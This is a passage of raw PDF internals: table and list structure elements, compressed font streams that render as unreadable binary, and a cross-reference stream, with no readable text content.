5909 0 R] +/P 4356 0 R +/Pg 78 0 R +/S /TR +/Type /StructElem +>> +endobj +6557 0 obj +<< +/K [5910 0 R 5911 0 R 5912 0 R 5913 0 R 5914 0 R 5915 0 R] +/P 4356 0 R +/Pg 78 0 R +/S /TR +/Type /StructElem +>> +endobj +6558 0 obj +<< +/K [5916 0 R 5917 0 R 5918 0 R 5919 0 R 5920 0 R 5921 0 R] +/P 4356 0 R +/Pg 78 0 R +/S /TR +/Type /StructElem +>> +endobj +6559 0 obj +<< +/K [5922 0 R 5923 0 R 5924 0 R 5925 0 R 5926 0 R 5927 0 R] +/P 4356 0 R +/Pg 78 0 R +/S /TR +/Type /StructElem +>> +endobj +6560 0 obj +<< +/K [6640 0 R 5928 0 R 5929 0 R 5930 0 R 5931 0 R 5932 0 R] +/P 4356 0 R +/Pg 78 0 R +/S /TR +/Type /StructElem +>> +endobj +6561 0 obj +<< +/K [5933 0 R 5934 0 R 5935 0 R] +/P 4357 0 R +/Pg 79 0 R +/S /TR +/Type /StructElem +>> +endobj +6562 0 obj +<< +/K [5936 0 R 5937 0 R 5938 0 R 5939 0 R 5940 0 R 5941 0 R] +/P 4357 0 R +/Pg 79 0 R +/S /TR +/Type /StructElem +>> +endobj +6563 0 obj +<< +/K [5947 0 R 5942 0 R 5943 0 R 5944 0 R 5945 0 R 5946 0 R] +/P 4357 0 R +/Pg 79 0 R +/S /TR +/Type /StructElem +>> +endobj +6564 0 obj +<< +/K [6641 0 R 5948 0 R 5949 0 R 5950 0 R 5951 0 R 5952 0 R] +/P 4357 0 R +/Pg 79 0 R +/S /TR +/Type /StructElem +>> +endobj +6565 0 obj +<< +/K [6642 0 R 5953 0 R 5954 0 R 5955 0 R 5956 0 R 5957 0 R] +/P 4357 0 R +/Pg 79 0 R +/S /TR +/Type /StructElem +>> +endobj +6566 0 obj +<< +/K [6643 0 R 5958 0 R 5959 0 R 5960 0 R 5961 0 R 5962 0 R] +/P 4357 0 R +/Pg 79 0 R +/S /TR +/Type /StructElem +>> +endobj +6567 0 obj +<< +/K [5963 0 R 5964 0 R 5965 0 R 5966 0 R 5967 0 R 5968 0 R] +/P 4357 0 R +/Pg 79 0 R +/S /TR +/Type /StructElem +>> +endobj +6568 0 obj +<< +/K [6644 0 R 5969 0 R 5970 0 R 5971 0 R 5972 0 R 5973 0 R] +/P 4357 0 R +/Pg 79 0 R +/S /TR +/Type /StructElem +>> +endobj +6569 0 obj +<< +/K [5974 0 R 5975 0 R 5976 0 R] +/P 4358 0 R +/Pg 80 0 R +/S /TR +/Type /StructElem +>> +endobj +6570 0 obj +<< +/K [5977 0 R 5978 0 R 5979 0 R 5980 0 R 5981 0 R 5982 0 R] +/P 4358 0 R +/Pg 80 0 R +/S /TR +/Type /StructElem +>> +endobj +6571 0 obj +<< +/K [6645 0 R 5983 0 R 5984 0 R 5985 0 R 5986 0 R 5987 0 R] +/P 4358 0 R +/Pg 80 0 R +/S /TR +/Type /StructElem +>> +endobj +6572 0 obj +<< +/K [5988 0 R 5989 0 R 5990 0 R 5991 0 R 5992 0 R 5993 0 R] +/P 4358 0 R +/Pg 80 0 R +/S /TR +/Type /StructElem +>> +endobj +6573 0 obj +<< +/K [5994 0 R 5995 0 R 5996 0 R 5997 0 R 5998 0 R 5999 0 R] +/P 4358 0 R +/Pg 80 0 R +/S /TR +/Type /StructElem +>> +endobj +6574 0 obj +<< +/K [6000 0 R 6001 0 R 6002 0 R 6003 0 R 6004 0 R 6005 0 R] +/P 4358 0 R +/Pg 80 0 R +/S /TR +/Type /StructElem +>> +endobj +6575 0 obj +<< +/K [6006 0 R 6007 0 R 6008 0 R] +/P 4359 0 R +/Pg 81 0 R +/S /TR +/Type /StructElem +>> +endobj +6576 0 obj +<< +/K [6009 0 R 6010 0 R 6011 0 R 6012 0 R 6013 0 R 6014 0 R] +/P 4359 0 R +/Pg 81 0 R +/S /TR +/Type /StructElem +>> +endobj +6577 0 obj +<< +/K [6015 0 R 6016 0 R 6017 0 R 6018 0 R 6019 0 R 6020 0 R] +/P 4359 0 R +/Pg 81 0 R +/S /TR +/Type /StructElem +>> +endobj +6578 0 obj +<< +/K [6021 0 R 6022 0 R 6023 0 R 6024 0 R 6025 0 R 6026 0 R] +/P 4359 0 R +/Pg 81 0 R +/S /TR +/Type /StructElem +>> +endobj +6579 0 obj +<< +/K [6027 0 R 6028 0 R 6029 0 R 6030 0 R 6031 0 R 6032 0 R] +/P 4359 0 R +/Pg 81 0 R +/S /TR +/Type /StructElem +>> +endobj +6580 0 obj +<< +/K [6033 0 R 6034 0 R 6035 0 R 6036 0 R 6037 0 R 6038 0 R] +/P 4359 0 R +/Pg 81 0 R +/S /TR +/Type /StructElem +>> +endobj +6581 0 obj +<< +/K [6039 0 R 6040 0 R 6041 0 R 6042 0 R 6043 0 R 6044 0 R] +/P 4359 0 R +/Pg 81 0 R +/S /TR +/Type /StructElem +>> +endobj +6582 0 obj +<< +/K [6045 0 R 6046 0 R 6047 0 R] +/P 4360 0 R +/Pg 82 0 R +/S /TR +/Type /StructElem +>> +endobj +6583 0 obj +<< +/K [6048 0 R 6049 0 R 6050 0 R 6051 0 R 6052 0 R 6053 0 R] +/P 4360 0 R +/Pg 82 0 R +/S /TR +/Type /StructElem +>> +endobj +6584 0 obj +<< +/K [6054 0 R 6055 0 R 6056 0 R 6057 0 R 6059 0 R 6060 0 R] +/P 4360 0 R +/Pg 82 0 R +/S /TR +/Type /StructElem +>> +endobj +6585 0 obj +<< +/K [4597 0 R] +/P 6153 0 R +/Pg 16 0 R +/S /TD +/Type /StructElem +>> +endobj +6586 0 obj +<< +/K [4599 0 R] +/P 6154 0 R +/Pg 16 0 R +/S /TD +/Type /StructElem +>> +endobj +6587 0 obj +<< +/K [4601 0 R] +/P 6155 0 R +/Pg 16 0 R +/S /TD +/Type /StructElem +>> +endobj +6588 0 obj +<< +/K [4603 0 R] +/P 6156 0 R +/Pg 16 0 R +/S /TD +/Type /StructElem +>> +endobj +6589 0 obj +<< +/A 6646 0 R +/K [4638 0 R 4639 0 R] +/P 4637 0 R +/Pg 24 0 R +/S /L +/Type /StructElem +>> +endobj +6590 0 obj +<< +/A 6647 0 R +/K [4643 0 R] +/P 4644 0 R +/Pg 25 0 R +/S /L +/Type /StructElem +>> +endobj +6591 0 obj +<< +/A 6648 0 R +/K [4645 0 R] +/P 4644 0 R +/Pg 25 0 R +/S /L +/Type /StructElem +>> +endobj +6592 0 obj +<< +/A 6649 0 R +/K [4662 0 R 4663 0 R] +/P 4661 0 R +/Pg 28 0 R +/S /L +/Type /StructElem +>> +endobj +6593 0 obj +<< +/A 6650 0 R +/K [4664 0 R] +/P 4661 0 R +/Pg 28 0 R +/S /L +/Type /StructElem +>> +endobj +6594 0 obj +<< +/K [4678 0 R] +/P 6169 0 R +/Pg 31 0 R +/S /TD +/Type /StructElem +>> +endobj +6595 0 obj +<< +/K [4695 0 R] +/P 6174 0 R +/Pg 32 0 R +/S /TD +/Type /StructElem +>> +endobj +6596 0 obj +<< +/K [5052 0 R] +/P 6253 0 R +/Pg 49 0 R +/S /TH +/Type /StructElem +>> +endobj +6597 0 obj +<< +/K [5118 0 R] +/P 6285 0 R +/Pg 50 0 R +/S /TH +/Type /StructElem +>> +endobj +6598 0 obj +<< +/K [5128 0 R] +/P 6289 0 R +/Pg 51 0 R +/S /TH +/Type /StructElem +>> +endobj +6599 0 obj +<< +/K [5194 0 R] +/P 6321 0 R +/Pg 52 0 R +/S /TH +/Type /StructElem +>> +endobj +6600 0 obj +<< +/K [5204 0 R] +/P 6325 0 R +/Pg 53 0 R +/S /TH +/Type /StructElem +>> +endobj +6601 0 obj +<< +/K [5270 0 R] +/P 6357 0 R +/Pg 54 0 R +/S /TH +/Type /StructElem +>> +endobj +6602 0 obj +<< +/K [5278 0 R] +/P 6361 0 R +/Pg 54 0 R +/S /TH +/Type /StructElem +>> +endobj +6603 0 obj +<< +/K [5298 0 R] +/P 6369 0 R +/Pg 55 0 R +/S /TH +/Type /StructElem +>> +endobj +6604 0 obj +<< +/K [5356 0 R] +/P 6397 0 R +/Pg 56 0 R +/S /TH +/Type /StructElem +>> +endobj +6605 0 obj +<< +/K [5388 0 R] +/P 6412 0 R +/Pg 57 0 R +/S /TH +/Type /StructElem +>> +endobj +6606 0 obj +<< +/A 6651 0 R +/K [5435 0 R 5436 0 R] +/P 5434 0 R +/Pg 60 0 R +/S /L +/Type /StructElem +>> +endobj +6607 0 obj +<< +/A 6652 0 R +/K [5437 0 R 5438 0 R] +/P 5434 0 R +/Pg 60 0 R +/S /L +/Type /StructElem +>> +endobj +6608 0 obj +<< +/A 6653 0 R +/K [5683 0 R 5684 0 R] +/P 6623 0 R +/Pg 70 0 R +/S /L +/Type /StructElem +>> +endobj +6609 0 obj +<< +/A 6654 0 R +/K [5686 0 R] +/P 6624 0 R +/Pg 70 0 R +/S /L +/Type /StructElem +>> +endobj +6610 0 obj +<< +/A 6655 0 R +/K [5688 0 R 5689 0 R 5690 0 R] +/P 6625 0 R +/Pg 70 0 R +/S /L +/Type /StructElem +>> +endobj +6611 0 obj +<< +/A 6656 0 R +/K [5692 0 R 5693 0 R] +/P 6626 0 R +/Pg 70 0 R +/S /L +/Type /StructElem +>> +endobj +6612 0 obj +<< +/A 6657 0 R +/K [5695 0 R 5696 0 R] +/P 5697 0 R +/Pg 70 0 R +/S /L +/Type /StructElem +>> +endobj +6613 0 obj +<< +/A 6658 0 R +/K [5698 0 R 5699 0 R] +/P 5697 0 R +/Pg 70 0 R +/S /L +/Type /StructElem +>> +endobj +6614 0 obj +<< +/A 6659 0 R +/K [5701 0 R 5702 0 R 5703 0 R] +/P 6627 0 R +/Pg 70 0 R +/S /L +/Type /StructElem +>> +endobj +6615 0 obj +<< +/A 6660 0 R +/K [5705 0 R 5706 0 R 5707 0 R 5708 0 R] +/P 5709 0 R +/Pg 70 0 R +/S /L +/Type /StructElem +>> +endobj +6616 0 obj +<< +/A 6661 0 R +/K [5748 0 R 5749 0 R 5750 0 R] +/P 5747 0 R +/Pg 73 0 R +/S /L +/Type /StructElem +>> +endobj +6617 0 obj +<< +/Length 6033 +/Filter /FlateDecode +/Length1 11088 +>> +stream +x: xTՙ$!wc& τH&/@!$3Mf`LS"bDV?qժ֊XUjmwWn+-.ZLfso{O9s@`vTV}l'#ms($x~.x@z}Wռ#<}ޑ^9y'Gѭ8\5W^FBƒe(+Ʈ[ffHfϚio \]a[:$wd'ԫL)%5Fnݣۻ17*gfڎGހfiK6uYѴ`<FGdؤ3eh`%h@\l@ccPKtd H+BZ%Oi,QrdNpŒxԘQS o+@>\CMiLOjiZRBKD߈9EW2|IyP&  al+l -lD]=Yf-\7995욚^-c%?6sj(K0ovר$s|Kܲas<ڭŶs_>=A.> .gX[) +cE + XBU{M/(9KWaffZS:_1c^( \KQ9 2ٻaFvl:n7]95v7p븄G'rTI{3xDb#0&h)gLW9w&'s +Tc5''Y?H8b̩,Lʩ-xm82rPaUڪ=8+|8WEXXII[ecarV{V?vD?֧sǮԏҏ-ՏYc|X>ِd0 F3p [)}F'Lt lhO_l9b +P-\KGiQO:GR?Ĉ&@KgC%J[T}ۖqBۑr{1]a=Y=Dܞv;ե%L^t[KgWK3CA}>=v uQ(uQӳջZ:Dzj"vrm'=wfn!wGmG馣CQJjIq5Ӧ47ˎ&qh%=%稻uJq(!=K *jl t+ոjO5ZfM`[׸x5b.T%K +sY?< +xs4o:U^_^O`<զү_ayT2!9Qn Dox$pRNUīR\ 9x/,ț}z9#yr{,ѧ;z9j(Ƃ}sdUpB7 H&?@~7rI)rj!3r{HA +~sO^ˡeW[!L #\{9#dD "zqhN8`>| ~'B&9y9򟸪*a)ll߆"9^$33h?^~>"D#_#C4Zi|9Oym7us21Fw +H݁p=ы{x#uM^!] Mߪo91G#h핰ߨG[pwQ׋YJVrNIn&'Õrqy|_nZ-8~䫑5K<0&脭 õ ۏm w<=x>j}4lVl$H i&ϑ?sbn)Wͭڹ>υ1Nƹi? +!xANA~# "26xherK "=2=B +џ6̪zrؾmc= = axyK*='_ +1rR񽌬ƶ4D%~ryv^N8;w57]s'SLJ~ 5'Nڄp0&<$<)LX!GQY].KXס uûI8?q8z'KLd~H~2rn3PK@_ha6%\;fnKwC8@:6|*q;s(?A>s;&FdtGbZ(2W-'\1wB Jk =̿fvȟM[#x&C^ׯG&':XIL& ډ'7H6F㞃O795؈½7'&ԁϦ>ggmNį=Qp`ԉN2c@xyzi\VGLPW;QKʊE|sOO%6΃$_x[xA:,;$~3&?Zi l[qq|x e_zOCGu$1b,YtQ~'\ K`zKy}}KR׮]QrK}bA74,zmkrn kk[^FDccD0p|BQl4F }!&F'ba.Mq'7OeΝx=c!HקĵAWU +^il19Œryaan.'/4&yaJ, rp[*[0liii(0-T 5͚.s4gp‚|ӳ:*2%Kyar)!esQ|jeUCYiz+}Z5Mubu" BbLUV$19-uѢEU˖.I\\ K̄S\.YMo,ؔں9ϯize^6Ɋ+ԉ\SX +C ttъ~ߎ'H1,A¯xh|V,8"7ON->@*j R\-+}XQ%-ZCsjݙsgLgN0Aݺ3ugΘjkYҪY]Dwr.%95- E(mQZ$\dc]{v{Ce~jb<;mﶷO_̯};of +\:|en1椴u[2dzw2_8vvE*<9UEh-;e볫Rby%iďb1B2ZCLFqߏkittGיh-,4&'/ȏ+ʇXux +eUim[4rqE~{X M~s٣<[5X#3rs`?1>|DD_kp,Ts '/rv !.qB E/K}>`oap J +P&':4yw5vq xDH`ği +h'4tu .748z okp<7r [Y>R7>1D_'Gc=}PPjWJ`HqMtR͐RJ˲ +h}volҦX**KuNBC}}=2HMǰgOZA7*Ww=A79<AӯVeXj;E!9~O J +#I%8p|}JȭaO-9P׫8ٔWwv+=}Q1}ʀ@CT6t;gHFRP ;sPAGyIih S{n'*)bGC0L)BnGłC!:<.~?qGЉ8JpNT:D4. l?H0 )^\oA_ZR=J؎>\ ut}A]]fJn%Z **63A{QJ1Fj +1[:blw#Y\ +FMFhO/OaVWri=,LV!9 A8"c@Xl;jj:J?Q/cz=,>Mw*DeiCJ_IR,^sZE3#1ۣ5NfĴiOYC 0Q?2Mنk>7˲f֮5^VBLk4;m͔AxtW0cC;}?AEKc&iԙAME+8wϪꛛy}a6̚%έKf.+!q0(msL~:hz5^e.}xe;ͪ*.Qw*wڠb|~v60T`?Ne0a?~V!ͺfTnn+"@"Jexh8:~p 2I[6B5dR19?iTCt 1t6nZv@̌ѢL"Ss *fϼ8&{Q)sq',*apиS#P?I"fF/ym, },p7{<b: +endstream +endobj +6618 0 obj +<< +/Length 6868 +/Filter /FlateDecode +/Length1 14124 +>> +stream +x; tǕU3ӣ FHBǀ[ 0X=3f=#~_DEI6vb;ccc`'M:$ ĹȳX~[ƒWU_6m.Wկ_aP6L^g}kBa:OP +}& cjj7[ #LoNU!4ݓK< +u=eGhL 1ANK1h 82#5kM"//fĕ-\i*p|wbքXu ڜV^c-:K_oGQVxR8$}ӕc鲧vY>cB+C{=mfl>vM6BAģWO @UnR?#*pۅj~j{_<}}'G7'Gы eXg"}b־YyjG>pm/1Q (.qddd1f_o2*m1۱ͮ3B;ű}v[|m_h;%n=S84}4{dfrbB@jL8o8ǹ%DcO?*Vbsy]#'ߙ="#$\ 8^U_x~ccWݠ2[rXy߄ ߽E.;\Ϊ87@f^1f +wLbEƅqkE߼Nk}ʴ!|:ţ&sXO_4b`l? Bql.v I3v1>v{,9`41ʾkR L>gWW#W&Vrtlc=4w?ǚgY kfY5<ƚGY5Y5Yb֬bM k,1g v] yO +P_#P4ԯC}#P]P=Po4_`0kb͓y55X5+Y#5gP,A=4oB}qC= PcP +Қ'.&a1aa~a\0. 7 + xĺ*ZZZKEk5ǚmʹ[Vdpnw=An1a}o>nnԽ}}I|eUK9?SF =m?*)f$Ḱq::NFh >փ껥} Y +oǹtgֿ(' +f+ Qs&YPTud +nd*Tmi}*sAŧ??L+ z>_$ 5@e>Fg݁w/Y0Ю98@Oqwή +qY'Bϣ7[0wOr=0@gB?C <_<ƓP窹uR2MȍC9k!?дtTSyM}P ipya5r\N*|.cjG^reF܁(zq&$z?/,?>ߥ#qU z^n'7}{*,xqe MȘBs$-Ӵڴƴt~t6X3rs2ag~9'~P3<ßC9=3־ چ\[n-׶GS94g?^tyy(gRdGm WbM+()36l_oWT[PLϞUUqq)L + +98sI6K* ssM nű& ,-ΩɖZs󊡲M$-ns-uC-.X  @Q!}'75/f7f~0r_Q6qVïW6eWef_ׂ;lXUXTamfVuC9h*0ߛzutS+3j;lS".bU'xM22DzlX 'D+ڀkq5+Jvvً ֘'e{7 %^s{zw/G;/Xغ|Rۚ}%]٣%KlG][؆-R$tM8Zj' EYWKV4kABEžz`zX:ô}qy=y _coф9 c]veau/nr8ۂRl]my-_m +-Oai3cZ}NB/Q_T~*|?^7r|*g=2~#AM:!Rp(?:lA h]Պ +,_ts3PgZΓ_Mi=Dak}Y1Kaea5)njJ +a Z\pF +a+,44Q3(GEQ +>B gi:3Sso:p^i) RpZ/!kKWZ}Fm(MQ]ª&E5T# m䈬풽5S P#YEQ|!+cbDčj (GD)xꈨĺZ:@]NHT5ŧ@ &?>zū=W7yP!4uZB7*i15A9@M_G8(,5"5 $!jr 49 Kq^/J%d~M6$ k.+*!E eE䨨 + v kPhQJ R!0^pTH,LdT@}+@ `PȑAT =U58$ܪyP 538H^ѫ)`ثDh Ha\DX7=Q(G=5 䶃Jh-Bƒ`o:*R{JX>"aF%W!HX% G_t6Kj, +C'2S5IUL~xEHd' *Й GDT"[&sA7LeϐK +FIeJ J>;,{t !T&< @D lCY QMvD+j RFX67VqKo+MFDw5u j-%Z +u3 <̧A1rP҆@I}U쀬"|eGt:!J$*? :###5AcbՆAaI1xw&DQ(Aa&1)== v,R/|2D +TQvGZ0!сA&Lh V8Þ(XT$UKl(p6"%Җ7ɽsRY&A71IxpKi"^e ۀYJF5P.pcj +w$#Ջ Qȡp1 _gknN 3ӯԠRHBԋІA"k4)*@\a`D(_"Zn1\dheo/`n9fv^0zK)5r"^JP Q"ra^a]diIDxSzJC +E-PjSֱ:*UJznUʉR_A +մ6LDjNZ:+ +"]ITmQ"):L&LJD$}cݖ1$ШeGt=꼞bFi#[$LZ)}Q ": L{3J-:H5d wD<+'i+6ctú^U_n$5J-n,/H Qc@|C5]wM z = F851-U)P{GJ^jMtl/!jhDu(R #Ռ0]o~B;7B5Hvƌk7^tIK0%&&:w}jd{GgΰH &!祺2r +9@dagK]ߗk@g% "@ +gQKdj 0=ԣbޫ= T4FY IZ+{77wz^$&v.gPcY,c2+5:L[`jǐֈs\XwiL縤GW?ye͎ybvUuI)c@Bro]/y[wֽ4SiK=ND +1F,ۥg],(5#ܔMYKVd6;>chq.Et &w Ө׈~p'w_}dKjNohs6a4?jV/m[uD5Z]Njs-,l&9Gg_xSLFX3 |^m"ܯ(sH'[ҹ k(@ 1CJ ^]Nϰ$:Sb٩Rrʄi5<ԠB2 -v;cRf䷇S0,L޿DfMdIF跶7aH1b+" =2Nғ8"JU75aT Gg +:I&So[9uOְJ_F#(Ho'+P7r_$e #W]zJSjK" }!|Ct(i}7*{(3iӓ6>~IR7"DѵLNdt J"$ϩk=UJó?ά$'lm%7)`Ă/\' +endstream +endobj +6619 0 obj +<< +/K [] +/P 6160 0 R +/Pg 25 0 R +/S /TH +/Type /StructElem +>> +endobj +6620 0 obj +<< +/K [] +/P 6245 0 R +/Pg 43 0 R +/S /TH +/Type /StructElem +>> +endobj +6621 0 obj +<< +/K [] +/P 6246 0 R +/Pg 43 0 R +/S /TH +/Type /StructElem +>> +endobj +6622 0 obj +<< +/K [] +/P 6247 0 R +/Pg 43 0 R +/S /TH +/Type /StructElem +>> +endobj +6623 0 obj +<< +/K [6608 0 R] +/P 6505 0 R +/Pg 70 0 R +/S /TH +/Type /StructElem +>> +endobj +6624 0 obj +<< +/K [6609 0 R] +/P 6506 0 R +/Pg 70 0 R +/S /TH +/Type /StructElem +>> +endobj +6625 0 obj +<< +/K [6610 0 R] +/P 6507 0 R +/Pg 70 0 R +/S /TH +/Type /StructElem +>> +endobj +6626 0 obj +<< +/K [6611 0 R] +/P 6508 0 R +/Pg 70 0 R +/S /TH +/Type /StructElem +>> +endobj +6627 0 obj +<< +/K [6614 0 R] +/P 6510 0 R +/Pg 70 0 R +/S /TH +/Type /StructElem +>> +endobj +6628 0 obj +<< +/K [] +/P 6526 0 R +/Pg 73 0 R +/S /TD +/Type /StructElem +>> +endobj +6629 0 obj +<< +/K [] +/P 6527 0 R +/Pg 73 0 R +/S /TD +/Type /StructElem +>> +endobj +6630 0 obj +<< +/K [] +/P 6528 0 R +/Pg 73 0 R +/S /TD +/Type /StructElem +>> +endobj +6631 0 obj +<< +/K [] +/P 6539 0 R +/Pg 75 0 R +/S /TD +/Type /StructElem +>> +endobj +6632 0 obj +<< +/K [] +/P 6543 0 R +/Pg 76 0 R +/S /TD +/Type /StructElem +>> +endobj +6633 0 obj +<< +/K [] +/P 6548 0 R +/Pg 77 0 R +/S /TD +/Type /StructElem +>> +endobj +6634 0 obj +<< +/K [] +/P 6549 0 R +/Pg 77 0 R +/S /TD +/Type /StructElem +>> +endobj +6635 0 obj +<< +/K [] +/P 6550 0 R +/Pg 77 0 R +/S /TD +/Type /StructElem +>> +endobj +6636 0 obj +<< +/K [] +/P 6553 0 R +/Pg 78 0 R +/S /TD +/Type /StructElem +>> +endobj +6637 0 obj +<< +/K [] +/P 6554 0 R +/Pg 78 0 R +/S /TD +/Type /StructElem +>> +endobj +6638 0 obj +<< +/K [] +/P 6555 0 R +/Pg 78 0 R +/S /TD +/Type /StructElem +>> +endobj +6639 0 obj +<< +/K [] +/P 6556 0 R +/Pg 78 0 R +/S /TD +/Type /StructElem +>> +endobj +6640 0 obj +<< +/K [] +/P 6560 0 R +/Pg 78 0 R +/S /TD +/Type /StructElem +>> +endobj +6641 0 obj +<< +/K [] +/P 6564 0 R +/Pg 79 0 R +/S /TD +/Type /StructElem +>> +endobj +6642 0 obj +<< +/K [] +/P 6565 0 R +/Pg 79 0 R +/S /TD +/Type /StructElem +>> +endobj +6643 0 obj +<< +/K [] +/P 6566 0 R +/Pg 79 0 R +/S /TD +/Type /StructElem +>> +endobj +6644 0 obj +<< +/K [] +/P 6568 0 R +/Pg 79 0 R +/S /TD +/Type /StructElem +>> +endobj +6645 0 obj +<< +/K [] +/P 6571 0 R +/Pg 80 0 R +/S /TD +/Type /StructElem +>> +endobj +6646 0 obj +<< +/ListNumbering /Disc +/O /List +>> +endobj +6647 0 obj +<< +/ListNumbering /Disc +/O /List +>> +endobj +6648 0 obj +<< +/ListNumbering /Disc +/O /List +>> +endobj +6649 0 obj +<< +/ListNumbering /Disc +/O /List +>> +endobj +6650 0 obj +<< +/ListNumbering /Disc +/O /List +>> +endobj +6651 0 obj +<< +/ListNumbering /Disc +/O /List +>> +endobj +6652 0 obj +<< +/ListNumbering /Disc +/O /List +>> +endobj +6653 0 obj +<< +/ListNumbering /Disc +/O /List +>> +endobj +6654 0 obj +<< +/ListNumbering /Disc +/O /List +>> +endobj +6655 0 obj +<< +/ListNumbering /Disc +/O /List +>> +endobj +6656 0 obj +<< +/ListNumbering /Disc +/O /List +>> +endobj +6657 0 obj +<< +/ListNumbering /Disc +/O /List +>> +endobj +6658 0 obj +<< +/ListNumbering /Disc +/O /List +>> +endobj +6659 0 obj +<< +/ListNumbering /Disc +/O /List +>> +endobj +6660 0 obj +<< +/ListNumbering /Disc +/O /List +>> +endobj +6661 0 obj +<< +/ListNumbering /Disc +/O /List +>> +endobj +6662 0 obj +<< +/Length 17180 +/ID [<5DFFFEE0E488A448A827089E577A0325> <106527DE4B64834AB83521D602CF705C>] +/Info 6 0 R +/Root 1 0 R +/Type /XRef +/Size 6663 +/Index [0 6662] +/W [1 3 0] +/Filter /FlateDecode +>> +stream +xeXmwUA;^vn ,@DQ;1@@QQ@iA;3s]3ϢP(PTA(JՇ|vDQf(,WQX_EEU9-j΢LJGQ j(4EQ' +Q%hCMi(LjQQV^~(:31tm(nODc(zMEV[ xNeXQ 'QuPczb\%Q'?y(6Ŵ$Q8"YD1(b~(.⚢X)egDb(VMBQ8b Q+ 7E]%ܷU5( Q^I Xy $VG4pV9mQu1Dys>(omQk{#OQ>Xe(燾壱@La6)9 1=9'ʈ#8DR*CJ}.J?>R*}KRCJ[j3)]SJW,+V5WIiA)+J%R`|/Ţfh8 RĢJh :Sh?Ţ( ;OĢcT>6*~5bXAXV I,'ˉrF,ҥXIR?W)A`%e4D6IىRv)ފ3<+&VeP"V&CXwKYob5hXMru'$Q>]`.wPkmX6ubzX+mĺ,r7KR.˲)=R4r%aWh|'Ua^7 +ˠX*KR!H`^H%R+S*tJ|T_ERG62^^*GH3!C\+UǷ:aT]X}hǾRWTKjYݤƔRc)+5(V'wWZj;[HmZR'0L> uKKpVR OlJMbSԵY"6b4 6Ħq;*6SLlG>\"6b9Fl2.|/Uu[TAT;@vKTuጨ1;jZQZ4pATB :8DuITaXvǢ:6 >*𯨮յR)`lศnԃK +V7x"ۃ୨Â_ Duos} |ə/Y +ի2D२޴ZTQ"@Qm+!DTH8)^UL1g:Q^,̀?G+U<{A@ ᛨٗHĜnI dbIQ}5VT8w,?HUJ !QQRuOT$8/&i>}3 4FQ@ìv +ʮ3r%g2pONrs@Rr0N1wwmA +ᇨ +[!u+|*г*Pb[%dĉZQV{Q=l(Q+0D0D]2L+ dL';Em@6/ j+,;p~\;D]5QWP6@+\r%g!GUvuU [^ +xN SE]-l@Եq"*/E]̂(uްM=XEQpL0Lָiyk[G:uzwQx6)jckp碶 24._QL=h^Q'V4gpDݰ=4jӈ4 h8IM:x"` +\|Q7 z4Գ9w N-sEp[ԭgBa*Ĉfx#-ll'~;ώuvg=EGuZEݙ{:sOB]f]{9u%ń=݈;v'Ի;OEݳPݫ!.>a'⁾WD$??)}WQ$xr AӀA.!U<:1 &èp#,>cq-a$~IFQQh#@1s,WƢ8t.e}B3g=_xR}k}K_% Q1̙C>|=Ȍ9H$Cwaa>L;Ţ> 9cx,#s Qwi.G|q?g}f s^ٟ/` _BE/b_̼-@ =WH4&频( M)[ |V ʰ Y΂umhʶkjDchʵM%:p+pG!ua<Mj0DS 뢩 c@UT"jUވVAhjpV@5HM >vp'Sfw-8dƆ;mhT "EV&+ EF .Ϻ%p_4 +0.?~)#3z@hlhvpDSo~9.MpRDӰ/z4BFhkJ4M4)g5הqnۢi^Թ-%do+"VѪP4k#6x 1m;ЯՀԩud7{yǎq Ĉ^ݙ:S]JW4슇Y:u; > +NBhzt#$^{go썞CEˁ?l?zG\I4:x.@D\y̹!&_<Pe\)a0:~@##H@QxqRJ0f1;x@xwF4-`"\4&^|LBI{Mg{2wOVShj jZiק44NwAhf4nzD38f~gef6flt0\j;Υ7ћs7j>\7佐Rxk3mVb4[f ,%hR +e=hxy9~YAL+ +rXu%~\Yř=r5p ?|@=#:_Ѭ5ܵR`]ܱ̑>A4Zx98p3=L?;Ae>W{]@hy@\eU_c5\g.]gv_}D}x1ok77x7M|zhn>Oo޹{6> Ƨ4~Sf3%wye^}~Oݣv}(> +K4N@CfC(XCB(}G|5a 9OaM +)<'[A7Sf*Ͽk~7ϿysiOcas:&5y藇fy9'?6+ Цwm!}SoBRsT\*f.3yϔ)a.VQy(-#hV Uu/Hm1-] іJgK>sK\RRٚϭYo͚rmy>/LX_a1b-XEJh+ipCU$"ڪa4VhÐ.`|mv D[ 86:m-,G[.l[UUYͳ:̀@jK(8 Ĥ ]6@oEk0X &%(-y5w@# US+`0;?hP<7-چv@ ߋQC՘06A&h≦hm94yh[TmA-+"XߊVDۺ:WmУmkѮvh;ԁvxng,ڣqvpKjl3~<H|vA.hm7>Ftmwzi_zzv/^Ԧ7;}ԛ3S}Bhڗf/.@hg6(ځ` 1hz`uKzzQΡa:l-PpFpA? f˨ap hj2|Gze ~ùc镱Xzek1'h3s'pΝ9w"N< h> '_LwBhNS;skitv^3L7ͼ,Y`qFs/sFq!ymư[@=Bp 0qypG)Kf }/ϗҳK鹥2{>vy# +=Ǣ][ɹ+9wU'|uhzÁYȹ״zhMh⹵Ļס:tu[Ϲ9w=n`nn'6\w8Q'Éy㌯xp!62S\=;d=nn7~33q3̈--̑-EluGWwsxO_<l/[Vچfl;m̰ze؋z1Cw⑝3w]߇/3͗/3 +E~fpAr:~7C!j{r=Œ>BG(Z%cwq;μ?'@N=IdL):O} + u;ùg9,Es{Ρ9z<gO!BmP}HmRۇ6چRPj>,چY̪c};)?8|''x2OF0#SO釧\mjss ^PHI"K{I^ɗ +W555 y!7-EQ(Gޑ;xwMhMќC}b^ 1>{˹˻}x#~ķy} Dq_s3o/WEOO@?$ {"%S"1%S1%Ox/%G++^F/Vߘo 5)̺~0Ỳo_OEܑV=-H,CtwHwd02I& mgys!wR6_6ٚo~c\Ź2[n[~y̧|S>3)Iȵ S!υ|^E<y)/ɢ-%Ԡ$^tVD'`8[W+ѕ2<]i-,>/֗y): -,+do.PYUpUt֥a4ѕސ(́ssn5,;h 䉮Ro DW lwBU +wVΪY5PtH] C rA5DWfju] Uw:EW +Laѩ:|)l|-:mYgt}V=u7P"':cWDgpD@ư +c=4_ @ݰ5j Դ6&ۘ|T7 Ţk:BuOͰ +DעC jԒF-QKthСGѵnDtmj,.5`5pn;?cMZ0nC '!Ktv=Ԣ#]Gj߉w@:}zKa)Pnv +E׽?߃\zRk!Rt^+O&s>ՇpVp^?z)GZЧMeAOt`cp膰g зCաxi] +'~%dξ|-Wh:5ϯy~MoxY hE)ڀo;{Gǣh⋦CPz=5Oαx*1}S#}'TSg<O}/x x*]TZ&KSx*T%drJFd_+Z~owߩ~?8)~O.S/޿7&FiF!trM'tr r 